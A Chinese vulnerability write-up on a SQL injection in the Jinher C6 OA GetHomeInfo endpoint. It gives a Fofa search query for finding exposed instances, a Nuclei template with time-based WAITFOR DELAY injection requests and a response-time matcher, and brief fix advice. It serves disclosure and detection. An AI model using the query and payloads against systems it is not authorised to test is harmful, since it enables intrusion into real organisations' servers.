# 金和-c6 gethomeinfo sql注入

## 漏洞描述

金和-c6 gethomeinfo sql注入，黑客可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinher-c6-HomeService-sqli

info:

name: jinher-c6-HomeService-sqli

author: msk

severity: high

http:

- raw:

- |

GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:0%27-- HTTP/1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Connection: close

- |

GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:2%27-- HTTP/1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Connection: close

matchers:

- type: dsl

condition: and

dsl:

- duration\_2 > duration\_1 && contains\_all(body,'?xm','Sex','ToRead')

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。